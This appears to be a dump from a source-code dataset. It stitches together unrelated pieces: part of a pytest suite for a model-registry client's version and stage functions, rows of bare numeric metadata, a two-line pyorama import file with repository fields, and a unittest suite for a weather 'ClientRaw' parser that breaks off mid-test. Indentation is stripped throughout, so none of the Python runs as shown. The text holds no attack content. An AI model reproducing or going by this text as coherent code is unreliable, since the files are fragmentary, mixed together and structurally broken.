present1 = False
present2 = False
for _version in client.list_model_versions_iterator(model.name):
if _version.version == version1.version:
present1 = True
if _version.version == version2.version:
present2 = True
assert not present1
assert present2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize("stage", [stage for stage in ModelVersionStage])
def test_list_model_versions_iterator_with_stage(client, create_model, stage):
model = create_model
is_empty = True
for _version in client.list_model_versions_iterator(model.name, stages=stage):
is_empty = False
assert is_empty
version1 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version1.version, stage)
for _stage in ModelVersionStage:
present1 = False
for _version in client.list_model_versions_iterator(model.name, stages=_stage):
if _version.version == version1.version:
present1 = True
if _stage == stage:
assert present1
else:
assert not present1
version2 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version2.version, stage)
for _stage in ModelVersionStage:
present1 = False
present2 = False
for _version in client.list_model_versions_iterator(model.name, stages=_stage):
if _version.version == version1.version:
present1 = True
if _version.version == version2.version:
present2 = True
if _stage == stage:
assert not present1
assert present2
else:
assert not present1
assert not present2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_model_all_versions(client, create_model):
model = create_model
versions = client.list_model_all_versions(model.name)
assert len(versions) == 0
version1 = client.create_model_version(model.name)
client.test_model_version(model.name, version1.version)
versions = client.list_model_all_versions(model.name)
assert version1 in versions
version2 = client.create_model_version(model.name)
client.test_model_version(model.name, version2.version)
versions = client.list_model_all_versions(model.name)
assert version1 in versions
assert version2 in versions
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_list_model_all_versions_iterator(client, create_model):
model = create_model
is_empty = True
for _version in client.list_model_all_versions_iterator(model.name):
is_empty = False
assert is_empty
version1 = client.create_model_version(model.name)
client.test_model_version(model.name, version1.version)
present1 = False
for _version in client.list_model_all_versions_iterator(model.name):
if _version.version == version1.version:
present1 = True
assert present1
version2 = client.create_model_version(model.name)
client.test_model_version(model.name, version2.version)
present1 = False
present2 = False
for _version in client.list_model_all_versions_iterator(model.name):
if _version.version == version1.version:
present1 = True
if _version.version == version2.version:
present2 = True
assert present1
assert present2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize("stage", [stage for stage in ModelVersionStage])
def test_list_model_all_versions_with_stage(client, create_model, stage):
model = create_model
versions = client.list_model_all_versions(model.name, stages=stage)
assert len(versions) == 0
version1 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version1.version, stage)
for _stage in ModelVersionStage:
versions = client.list_model_all_versions(model.name, stages=_stage)
if _stage == stage:
assert version1 in versions
else:
assert version1 not in versions
version2 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version2.version, stage)
for _stage in ModelVersionStage:
versions = client.list_model_all_versions(model.name, stages=_stage)
if _stage == stage:
assert version1 in versions
assert version2 in versions
else:
assert version1 not in versions
assert version2 not in versions
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize("stage", [stage for stage in ModelVersionStage])
def test_list_model_all_versions_iterator_with_stage(client, create_model, stage):
model = create_model
data = client.list_model_all_versions_iterator(model.name, stages=stage)
is_empty = True
for _version in data:
is_empty = False
assert is_empty
version1 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version1.version, stage)
for _stage in ModelVersionStage:
present1 = False
for _version in client.list_model_all_versions_iterator(model.name, stages=_stage):
if _version.version == version1.version:
present1 = True
if _stage == stage:
assert present1
else:
assert not present1
version2 = client.create_model_version(model.name)
client.transition_model_version_stage(model.name, version2.version, stage)
for _stage in ModelVersionStage:
present1 = False
present2 = False
for _version in client.list_model_all_versions_iterator(model.name, stages=_stage):
if _version.version == version1.version:
present1 = True
if _version.version == version2.version:
present2 = True
if _stage == stage:
assert present1
assert present2
else:
assert not present1
assert not present2
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model_version(request, client, create_model_version):
version1 = create_model_version
version2 = client.create_model_version(version1.name)
def finalizer():
client.delete_model_version(version2.name, version2.version)
request.addfinalizer(finalizer)
assert version1.name == version2.name
assert version2.version > version1.version
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model_version_above_existing(request, client, create_model):
model = create_model
version = client.create_model_version(model.name)
def finalizer():
client.delete_model_version(version.name, version.version)
request.addfinalizer(finalizer)
assert version.name == model.name
assert version.version == 1
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model_version_with_source(request, client, create_model):
model = create_model
source = rand_str()
version = client.create_model_version(model.name, source=source)
def finalizer():
client.delete_model_version(version.name, version.version)
request.addfinalizer(finalizer)
assert version.source == source
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model_version_with_tags(request, client, create_model):
model = create_model
key = rand_str()
value = rand_str()
version = client.create_model_version(model.name, tags={key: value})
def finalizer():
client.delete_model_version(version.name, version.version)
request.addfinalizer(finalizer)
assert key in version.tags
assert version.tags[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_create_model_version_with_run_id(request, client, create_run, create_model):
model = create_model
run = create_run
version = client.create_model_version(model.name, run_id=run.id)
def finalizer():
client.delete_model_version(version.name, version.version)
request.addfinalizer(finalizer)
assert version.run_id == run.id
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_model_version(client, create_model_version):
version = create_model_version
version1 = client.get_model_version(version.name, version.version)
assert version == version1
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_set_model_version_description(client, create_model_version):
version = create_model_version
assert not version.description
description = rand_str()
new_version = client.set_model_version_description(version.name, version.version, description)
assert new_version.description == description
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_set_model_version_tag(client, create_model_version):
key = rand_str()
value = rand_str()
version = create_model_version
assert key not in version.tags
client.set_model_version_tag(version.name, version.version, key, value)
new_version = client.get_model_version(version.name, version.version)
assert key in new_version.tags
assert new_version.tags[key].value == value
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_model_version_tag(client, create_model_version):
key = rand_str()
value = rand_str()
version = create_model_version
client.set_model_version_tag(version.name, version.version, key, value)
client.delete_model_version_tag(version.name, version.version, key)
new_version = client.get_model_version(version.name, version.version)
assert key not in new_version.tags
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_delete_model_version(client, create_model):
model = create_model
version = client.create_model_version(model.name)
client.delete_model_version(version.name, version.version)
with pytest.raises(HTTPError):
client.get_model_version(version.name, version.version)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_search_model_versions(client, create_model_version):
version = create_model_version
query = f"name='{version.name}'"
versions = client.search_model_versions(query=query)
assert version in versions
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_search_model_versions_iterator(client, create_model_version):
version = create_model_version
query = f"name='{version.name}'"
exist = False
for _version in client.search_model_versions_iterator(query=query):
if _version == version:
exist = True
assert exist
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_get_model_version_download_url(request, client, create_model):
model = create_model
version = client.create_model_version(model.name, source=rand_str())
def finalizer():
client.delete_model_version(version.name, version.version)
request.addfinalizer(finalizer)
url = client.get_model_version_download_url(version.name, version.version)
assert url
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize(
"old_stage, changed",
[(None, True), (ModelVersionStage.TEST, False), (ModelVersionStage.PROD, True), (ModelVersionStage.ARCHIVED, True)],
)
def test_test_model_version(client, create_model_version, old_stage, changed):
old_version = create_model_version
if old_stage is not None:
old_version = client.transition_model_version_stage(old_version.name, old_version.version, old_stage)
new_version = client.test_model_version(old_version.name, old_version.version)
if changed:
assert new_version.stage != old_version.stage
assert new_version.stage == ModelVersionStage.TEST
else:
assert new_version.stage == old_version.stage
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize(
"old_stage, changed",
[
(None, False),
(ModelVersionStage.TEST, True),
(ModelVersionStage.PROD, False),
(ModelVersionStage.ARCHIVED, False),
],
)
@pytest.mark.parametrize(
"new_stage", [(None), (ModelVersionStage.TEST), (ModelVersionStage.PROD), (ModelVersionStage.ARCHIVED)]
)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_test_model_version_archive_existing(request, client, create_model_version, old_stage, new_stage, changed):
old_version = create_model_version
if old_stage is not None:
old_version = client.transition_model_version_stage(old_version.name, old_version.version, old_stage)
changed_version = client.create_model_version(old_version.name)
def finalizer():
client.delete_model_version(changed_version.name, changed_version.version)
request.addfinalizer(finalizer)
if new_stage is not None:
new_stage = client.transition_model_version_stage(changed_version.name, changed_version.version, new_stage)
client.test_model_version(changed_version.name, changed_version.version, archive_existing=True)
new_version = client.get_model_version(old_version.name, old_version.version)
if changed:
assert new_version.stage != old_version.stage
assert new_version.stage == ModelVersionStage.ARCHIVED
else:
assert new_version.stage == old_version.stage
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize(
"old_stage, changed",
[(None, True), (ModelVersionStage.TEST, True), (ModelVersionStage.PROD, False), (ModelVersionStage.ARCHIVED, True)],
)
def test_promote_model_version(client, create_model_version, old_stage, changed):
old_version = create_model_version
if old_stage is not None:
old_version = client.transition_model_version_stage(old_version.name, old_version.version, old_stage)
new_version = client.promote_model_version(old_version.name, old_version.version)
if changed:
assert new_version.stage != old_version.stage
assert new_version.stage == ModelVersionStage.PROD
else:
assert new_version.stage == old_version.stage
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize(
"old_stage, changed",
[
(None, False),
(ModelVersionStage.TEST, False),
(ModelVersionStage.PROD, True),
(ModelVersionStage.ARCHIVED, False),
],
)
@pytest.mark.parametrize(
"new_stage", [(None), (ModelVersionStage.TEST), (ModelVersionStage.PROD), (ModelVersionStage.ARCHIVED)]
)
@pytest.mark.timeout(DEFAULT_TIMEOUT)
def test_promote_model_version_archive_existing(request, client, create_model_version, old_stage, new_stage, changed):
old_version = create_model_version
if old_stage is not None:
old_version = client.transition_model_version_stage(old_version.name, old_version.version, old_stage)
changed_version = client.create_model_version(old_version.name)
def finalizer():
client.delete_model_version(changed_version.name, changed_version.version)
request.addfinalizer(finalizer)
if new_stage is not None:
new_stage = client.transition_model_version_stage(changed_version.name, changed_version.version, new_stage)
client.promote_model_version(changed_version.name, changed_version.version, archive_existing=True)
new_version = client.get_model_version(old_version.name, old_version.version)
if changed:
assert new_version.stage != old_version.stage
assert new_version.stage == ModelVersionStage.ARCHIVED
else:
assert new_version.stage == old_version.stage
@pytest.mark.timeout(DEFAULT_TIMEOUT)
@pytest.mark.parametrize(
"old_stage, changed",
[
(None, True),
(ModelVersionStage.TEST, True),
(ModelVersionStage.PROD, True),
(ModelVersionStage.ARCHIVED, False),
("Staging", True),
("Production", True),
("Archived", False),
],
)
def test_archive_model_version(client, create_model_version, old_stage, changed):
old_version = create_model_version
if old_stage is not None:
old_version = client.transition_model_version_stage(old_version.name, old_version.version, old_stage)
new_version = client.archive_model_version(old_version.name, old_version.version)
if changed:
assert new_version.stage != old_version.stage
assert new_version.stage == ModelVersionStage.ARCHIVED
else:
assert new_version.stage == old_version.stage
| 28.359486
| 120
| 0.71831
| 5,202
| 39,760
| 5.223376
| 0.03095
| 0.04777
| 0.054431
| 0.076844
| 0.897762
| 0.862984
| 0.836228
| 0.805498
| 0.754159
| 0.712498
| 0
| 0.005241
| 0.188984
| 39,760
| 1,401
| 121
| 28.379729
| 0.837406
| 0
| 0
| 0.703093
| 0
| 0
| 0.009432
| 0.001056
| 0
| 0
| 0
| 0
| 0.185567
| 1
| 0.108247
| false
| 0
| 0.010309
| 0
| 0.118557
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
893d351cb7fe76c843e548637b503226c6abde16
| 78
|
py
|
Python
|
pyorama/event/__init__.py
|
AnishN/pyorama
|
e2248f6f915412436f29d0712d172d22a47aece1
|
[
"MIT"
] | 7
|
2019-09-23T04:47:01.000Z
|
2022-02-20T14:48:39.000Z
|
pyorama/event/__init__.py
|
AnishN/pyorama
|
e2248f6f915412436f29d0712d172d22a47aece1
|
[
"MIT"
] | null | null | null |
pyorama/event/__init__.py
|
AnishN/pyorama
|
e2248f6f915412436f29d0712d172d22a47aece1
|
[
"MIT"
] | 2
|
2018-01-04T15:49:08.000Z
|
2021-08-09T04:17:41.000Z
|
from pyorama.event.event_system import *
from pyorama.event.listener import *
| 39
| 41
| 0.820513
| 11
| 78
| 5.727273
| 0.545455
| 0.349206
| 0.507937
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102564
| 78
| 2
| 42
| 39
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
8946754300dc0a1104bb9e62f21aa8980bf8d1e6
| 23,774
|
py
|
Python
|
test/test_clientraw.py
|
waynedgrant/pifacecad-wdlive
|
38687ddaacb3f9aec87e6ec843a32ad8c358d1ce
|
[
"MIT"
] | 1
|
2016-06-28T09:51:14.000Z
|
2016-06-28T09:51:14.000Z
|
test/test_clientraw.py
|
waynedgrant/pifacecad-wdlive
|
38687ddaacb3f9aec87e6ec843a32ad8c358d1ce
|
[
"MIT"
] | null | null | null |
test/test_clientraw.py
|
waynedgrant/pifacecad-wdlive
|
38687ddaacb3f9aec87e6ec843a32ad8c358d1ce
|
[
"MIT"
] | null | null | null |
# Copyright 2015 Wayne D Grant (www.waynedgrant.com)
# Licensed under the MIT License
import unittest
from clientraw import ClientRaw
from measures import Trend
from units import RainfallUnit
from units import PressureUnit
from units import TemperatureUnit
from units import WindDirectionUnit
from units import WindSpeedUnit
class TestClientRaw(unittest.TestCase):
#################################
# Emptiness
#################################
def test_empty(self):
testee = ClientRaw("")
self.assertTrue(testee.is_empty())
def test_non_empty(self):
testee = ClientRaw("-")
self.assertFalse(testee.is_empty())
#################################
# Header Validation
#################################
def test_header_field_populated_with_valid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HEADER, "12345"))
self.assertTrue(testee.is_valid())
def test_header_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HEADER, "54321"))
self.assertFalse(testee.is_valid())
def test_header_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HEADER))
self.assertFalse(testee.is_valid())
def test_no_field_for_header(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HEADER-1))
self.assertFalse(testee.is_valid())
#################################
# Average Wind Speed
#################################
def test_average_wind_speed_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.AVERAGE_WIND_SPEED_KNOTS, "4.3"))
self.assertEqual(4.3, testee.get_average_wind_speed().get_value(WindSpeedUnit.KNOTS))
def test_average_wind_speed_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.AVERAGE_WIND_SPEED_KNOTS, "blah"))
self.assertEqual(None, testee.get_average_wind_speed())
def test_average_wind_speed_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.AVERAGE_WIND_SPEED_KNOTS))
self.assertEqual(None, testee.get_average_wind_speed())
def test_no_field_for_average_wind_speed(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.AVERAGE_WIND_SPEED_KNOTS-1))
self.assertEqual(None, testee.get_average_wind_speed())
#################################
# Gust Speed
#################################
def test_gust_speed_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.GUST_SPEED_KNOTS, "5.8"))
self.assertEqual(5.8, testee.get_gust_speed().get_value(WindSpeedUnit.KNOTS))
def test_gust_speed_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.GUST_SPEED_KNOTS, "blah"))
self.assertEqual(None, testee.get_gust_speed())
def test_gust_speed_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.GUST_SPEED_KNOTS))
self.assertEqual(None, testee.get_gust_speed())
def test_no_field_for_gust_speed(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.GUST_SPEED_KNOTS-1))
self.assertEqual(None, testee.get_gust_speed())
#################################
# Wind Direction
#################################
def test_wind_direction_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.WIND_DIRECTION_COMPASS_DEGREES, "128"))
self.assertEqual(128, testee.get_wind_direction().get_value(WindDirectionUnit.COMPASS_DEGREES))
def test_wind_direction_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.WIND_DIRECTION_COMPASS_DEGREES, "blah"))
self.assertEqual(None, testee.get_wind_direction())
def test_wind_direction_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.WIND_DIRECTION_COMPASS_DEGREES))
self.assertEqual(None, testee.get_wind_direction())
def test_no_field_for_wind_direction(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.WIND_DIRECTION_COMPASS_DEGREES-1))
self.assertEqual(None, testee.get_wind_direction())
#################################
# Outdoor Temperature
#################################
def test_outdoor_temperature_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_CELSIUS, "-15.5"))
self.assertEqual(-15.5, testee.get_outdoor_temperature().get_value(TemperatureUnit.CELSIUS))
def test_outdoor_temperature_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_CELSIUS, "blah"))
self.assertEqual(None, testee.get_outdoor_temperature())
def test_outdoor_temperature_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_CELSIUS))
self.assertEqual(None, testee.get_outdoor_temperature())
def test_no_field_for_outdoor_temperature(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_CELSIUS-1))
self.assertEqual(None, testee.get_outdoor_temperature())
#################################
# Outdoor Humidity
#################################
def test_outdoor_humidity_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY, "79"))
self.assertEqual(79, testee.get_outdoor_humidity())
def test_outdoor_humidity_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY, "blah"))
self.assertEqual(None, testee.get_outdoor_humidity())
def test_outdoor_humidity_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY))
self.assertEqual(None, testee.get_outdoor_humidity())
def test_no_field_for_outdoor_humidity(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY-1))
self.assertEqual(None, testee.get_outdoor_humidity())
#################################
# Surface Pressure
#################################
def test_surface_pressure_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.SURFACE_PRESSURE_HECTOPASCALS, "1021.7"))
self.assertEqual(1021.7, testee.get_surface_pressure().get_value(PressureUnit.HECTOPASCALS))
def test_surface_pressure_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.SURFACE_PRESSURE_HECTOPASCALS, "blah"))
self.assertEqual(None, testee.get_surface_pressure())
def test_surface_pressure_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.SURFACE_PRESSURE_HECTOPASCALS))
self.assertEqual(None, testee.get_surface_pressure())
def test_no_field_for_surface_pressure(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.SURFACE_PRESSURE_HECTOPASCALS-1))
self.assertEqual(None, testee.get_surface_pressure())
#################################
# Daily Rainfall
#################################
def test_daily_rainfall_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.DAILY_RAINFALL_MILLIMETRES, "10.21"))
self.assertEqual(10.21, testee.get_daily_rainfall().get_value(RainfallUnit.MILLIMETRES))
def test_daily_rainfall_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.DAILY_RAINFALL_MILLIMETRES, "blah"))
self.assertEqual(None, testee.get_daily_rainfall())
def test_daily_rainfall_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.DAILY_RAINFALL_MILLIMETRES))
self.assertEqual(None, testee.get_daily_rainfall())
def test_no_field_for_daily_rainfall(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.DAILY_RAINFALL_MILLIMETRES-1))
self.assertEqual(None, testee.get_daily_rainfall())
#################################
# Rainfall Rate
#################################
def test_rainfall_rate_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.RAINFALL_RATE_MILLIMETRES_PER_MINUTE, "0.12"))
self.assertEqual(0.12, testee.get_rainfall_rate().get_value(RainfallUnit.MILLIMETRES))
def test_rainfall_rate_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.RAINFALL_RATE_MILLIMETRES_PER_MINUTE, "blah"))
self.assertEqual(None, testee.get_rainfall_rate())
def test_rainfall_rate_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.RAINFALL_RATE_MILLIMETRES_PER_MINUTE))
self.assertEqual(None, testee.get_rainfall_rate())
def test_no_field_for_rainfall_rate(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.RAINFALL_RATE_MILLIMETRES_PER_MINUTE-1))
self.assertEqual(None, testee.get_rainfall_rate())
#################################
# Indoor Temperature
#################################
def test_indoor_temperature_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.INDOOR_TEMPERATURE_CELSIUS, "18.9"))
self.assertEqual(18.9, testee.get_indoor_temperature().get_value(TemperatureUnit.CELSIUS))
def test_indoor_temperature_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.INDOOR_TEMPERATURE_CELSIUS, "blah"))
self.assertEqual(None, testee.get_indoor_temperature())
def test_indoor_temperature_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.INDOOR_TEMPERATURE_CELSIUS))
self.assertEqual(None, testee.get_indoor_temperature())
def test_no_field_for_indoor_temperature(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.INDOOR_TEMPERATURE_CELSIUS-1))
self.assertEqual(None, testee.get_indoor_temperature())
#################################
# Indoor Humidity
#################################
def test_indoor_humidity_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.INDOOR_HUMIDITY, "45"))
self.assertEqual(45, testee.get_indoor_humidity())
def test_indoor_humidity_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.INDOOR_HUMIDITY, "blah"))
self.assertEqual(None, testee.get_indoor_humidity())
def test_indoor_humidity_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.INDOOR_HUMIDITY))
self.assertEqual(None, testee.get_indoor_humidity())
def test_no_field_for_indoor_humidity(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.INDOOR_HUMIDITY-1))
self.assertEqual(None, testee.get_indoor_humidity())
#################################
# Forecast
#################################
def test_forecast_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.FORECAST, "1"))
self.assertEqual("Clear Night", testee.get_forecast())
def test_forecast_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.FORECAST, "666"))
self.assertEqual(None, testee.get_forecast())
def test_forecast_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.FORECAST))
self.assertEqual(None, testee.get_forecast())
def test_no_field_for_forecast(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.FORECAST-1))
self.assertEqual(None, testee.get_forecast())
#################################
# Hour
#################################
def test_hour_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HOUR, "23"))
self.assertEqual(23, testee.get_hour())
def test_hour_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HOUR, "blah"))
self.assertEqual(None, testee.get_hour())
def test_hour_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HOUR))
self.assertEqual(None, testee.get_hour())
def test_no_field_for_hour(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HOUR-1))
self.assertEqual(None, testee.get_hour())
#################################
# Minute
#################################
def test_minute_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.MINUTE, "59"))
self.assertEqual(59, testee.get_minute())
def test_minute_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.MINUTE, "blah"))
self.assertEqual(None, testee.get_minute())
def test_minute_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.MINUTE))
self.assertEqual(None, testee.get_minute())
def test_no_field_for_minute(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.MINUTE-1))
self.assertEqual(None, testee.get_minute())
#################################
# Wind Chill
#################################
def test_wind_chill_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.WIND_CHILL_CELSIUS, "-3.4"))
self.assertEqual(-3.4, testee.get_wind_chill().get_value(TemperatureUnit.CELSIUS))
def test_wind_chill_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.WIND_CHILL_CELSIUS, "blah"))
self.assertEqual(None, testee.get_wind_chill())
def test_wind_chill_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.WIND_CHILL_CELSIUS))
self.assertEqual(None, testee.get_wind_chill())
def test_no_field_for_wind_chill(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.WIND_CHILL_CELSIUS-1))
self.assertEqual(None, testee.get_wind_chill())
#################################
# Humidex
#################################
def test_humidex_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HUMIDEX_CELSIUS, "15.5"))
self.assertEqual(15.5, testee.get_humidex().get_value(TemperatureUnit.CELSIUS))
def test_humidex_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HUMIDEX_CELSIUS, "blah"))
self.assertEqual(None, testee.get_humidex())
def test_humidex_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HUMIDEX_CELSIUS))
self.assertEqual(None, testee.get_humidex())
def test_no_field_for_humidex(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HUMIDEX_CELSIUS-1))
self.assertEqual(None, testee.get_humidex())
#################################
# Surface Pressure Trend
#################################
def test_surface_pressure_trend_field_populated_rising(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.SURFACE_PRESSURE_TREND, "1.5"))
self.assertEqual(Trend.RISING, testee.get_surface_pressure_trend())
def test_surface_pressure_trend_field_populated_falling(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.SURFACE_PRESSURE_TREND, "-2.5"))
self.assertEqual(Trend.FALLING, testee.get_surface_pressure_trend())
def test_surface_pressure_trend_field_populated_steady(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.SURFACE_PRESSURE_TREND, "0"))
self.assertEqual(Trend.STEADY, testee.get_surface_pressure_trend())
def test_surface_pressure_trend_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.SURFACE_PRESSURE_TREND, "blah"))
self.assertEqual(None, testee.get_surface_pressure_trend())
def test_surface_pressure_trend_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.SURFACE_PRESSURE_TREND))
self.assertEqual(None, testee.get_surface_pressure_trend())
def test_no_field_for_surface_pressure_trend(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.SURFACE_PRESSURE_TREND-1))
self.assertEqual(None, testee.get_surface_pressure_trend())
#################################
# Dew Point
#################################
def test_dew_point_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.DEW_POINT_CELSIUS, "-5.5"))
self.assertEqual(-5.5, testee.get_dew_point().get_value(TemperatureUnit.CELSIUS))
def test_dew_point_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.DEW_POINT_CELSIUS, "blah"))
self.assertEqual(None, testee.get_dew_point())
def test_dew_point_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.DEW_POINT_CELSIUS))
self.assertEqual(None, testee.get_dew_point())
def test_no_field_for_dew_point(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.DEW_POINT_CELSIUS-1))
self.assertEqual(None, testee.get_dew_point())
#################################
# UV Index
#################################
def test_uv_index_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.UV_INDEX, "5.1"))
